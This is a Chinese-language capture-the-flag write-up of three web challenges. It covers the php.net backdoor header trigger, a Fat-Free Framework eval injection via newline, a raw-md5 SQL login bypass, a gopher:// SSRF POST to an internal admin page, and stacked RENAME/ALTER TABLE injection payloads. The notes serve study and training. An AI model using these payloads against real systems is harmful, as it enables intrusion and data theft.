i春秋虎符2021 web
记录题目扫盲,只有前三题,包含以下points:
①3.28 php.net后门
②3F(FatFreeFramework)框架
③SQL中md5()产生hex的'or'进行的注入
④SSRF与gopher协议
i春秋虎符2021_web
签到
2021.3.28出了php官方git仓库git.php.net被插入恶意代码的事,若使用此源码进行开发,网站就会执行user_agentt头中以zerodium开始的任意代码,注意double t,没有打错
题目环境是一个blog,最后一篇文章描述了博客搭建过程,在没有hint的情况下这是入手点
unsetme
1 | //Kickstart the framework |
关键字:framework,f3
此为基于f3框架编写的代码,拿到手时应先本地搭建此框架,对于本题,这样你才有了base.php,才可以解题,各种不熟悉导致找不到本题入手点
把题目代码copy过来,加上route指定路径后本地运行(也就是说要先设置route
再run
,不然框架跑都跑不起来,怎么设置查一下文档就知道了¯\_(ツ)_/¯)
1 | $f3->route('GET /test.php', |
直接报错了,看看530行eval的情况
1 | function clear($key) { |
追一下代码验证一下是不是unset
触发的clear()
,发现调用链条是__unset($key)
→offsetunset($key)
→clear($key)
实锤
见里面有一个compile()
,康康
1 | function compile($str, $evaluate=TRUE) { |
看样子对输入做了改动,但其实不想分析complie()
的话,直接echo
即可知道到底eval了什么代码
当a=hello
[Out] unset('$this->hive['hello']');
但现在既然比赛已经结束那还是稍微深入看一下complie()
,遇到了我没见过的php:回调,匿名函数
回调:在函数执行的过程中,一般是不能去干预他的行为的,当函数被设计成带有回调功能时,我们就有可能在函数的执行过程中,通过回调函数去干预他
1
2
3
4
5
6
7
8
9
10
11
12
13
14function foo($n, $f='') {
if($n < 1) return;
for($i=0; $i<$n; $i++) {
echo $f ? $f($i) : $i;
}
}
//无回调时
foo(5); //01234
//有回调时
function f1($v) {
return $v + $v;
}
foo(5, 'f1'); //02468匿名函数:允许临时创建一个没有指定名称的函数。最经常用作回调函数
callable
回调参数的值
而preg_replace_callback
除了可以指定一个 callback
替代 replacement
进行替换字符串的计算,其他方面等同于preg_replace
至于什么$this->hive
之类的杂七杂八的都是后面才加上去的,和compile()
无关
因为传参a
会被compile
处理为['xxx']
的形式,所以需要打破这种格式,然后点号连接并闭合unset
,最后eval
执行任意代码
看看这个正则'/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/'
,并没有匹配换行符,所以出了换行符这个正则就会被打断,于是便超度成功
慢慢做管理系统
描述:这个sql吧,有点ssrf的样子,首页是一个很普通的sql注入,没有什么花样,但是我的admin.php是一个内网的管理系统,只要你用“真-admin”的密码登录了,就可以拿到flag
hint:第一步登录的sql语句是"SELECT * FROM users WHERE password = '".md5($password,true)."' limit 0,1";
这个题没有怎么动,目前也没找到复现,暂时只能面向wp扫盲
登录
关键字是md5($password,true)
,第二个参数raw=true
即转md5后又做一次hex2str
参数 | 描述 |
---|---|
string | 必需。规定要计算的字符串。 |
raw | 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数 |
所以hint描述的这一步其实是md5万能密码:ffifdyop
与129581926211651571912466741651878684928
在经过md5并转字符后均包含有'or'
,只要'or'
右边非零,即会判定整个表达式为true,以此便绕过了登录
gopher协议
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
SSRF:Server-side Request Forge,服务端请求伪造;说白了就是:因为是由服务端发起,从而能够请求到与它相连而与外网隔离的内部系统 的一种攻击方式,比如通过file://,gopher://之类的协议来读本地文件什么的
本题是屏蔽了file://
的,只能用gopher://
Gopher协议格式:URL:gopher://<host>:<port>/<gopher-path>_TCP数据流
- gopher的默认端口是70
- 如果发起POST请求,请求体需要进行url编码,回车换行需要使用
%0d
或%0a
代替
payload:/ssrf.php?way=127.0.0.1/admin.php,发现admin.php不再302了
然后通过gopher协议给admin.php发POST数据,HTTP协议默认端口是80,所以是往127.0.0.1:80
发包:
1 | gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%0aHost%3A%20127.0.0.1%0aContent-Type%3A%20application%2Fx-www-form-urlencoded%0aContent-Length%3A%2027%0ausername%3Dtest%26password%3Dtest%0a |
gopher://127.0.0.1:80/
_POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=test&password=test
改表名
通过改表名获取数据@2019强网杯,也可以通过prepare
预处理concat
过滤的select
,预处理的方法之前就记录过,不再重复
当过滤了select
,就不能在查出表名列名后选中数据,但若查询的回显就是表中的字段,则可以通过rename
将默认查询的表替换为目标表,从而直接从回显获取字段
例如本题中fake_admin
是默认被查询的表,real_admin_here_do_you_find
是目标表
1 | $payload = "username=admin'/**/or/**/1=2;RENAME TABLE `fake_admin` TO `fake_admin1`;RENAME TABLE `real_admin_here_do_you_find` TO `fake_admin`;##&password=129581926211651571912466741651878684928"; |
顺便记一下 [2019强网杯-随便注] 的payload
1 | /?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;# |
此处改列名flag
为id
是因为目标表中没有id
列,而查询是根据id查询,避免了一开始无法查询的情况
CHANGE
的语法为:
1 | ALTER TABLE t1 CHANGE c_old c_new INTEGER ;#把名为c_old的列名改为c_new,类型为整数型 |
Internal System
超出能力范围的部分有点多,积累起来了再说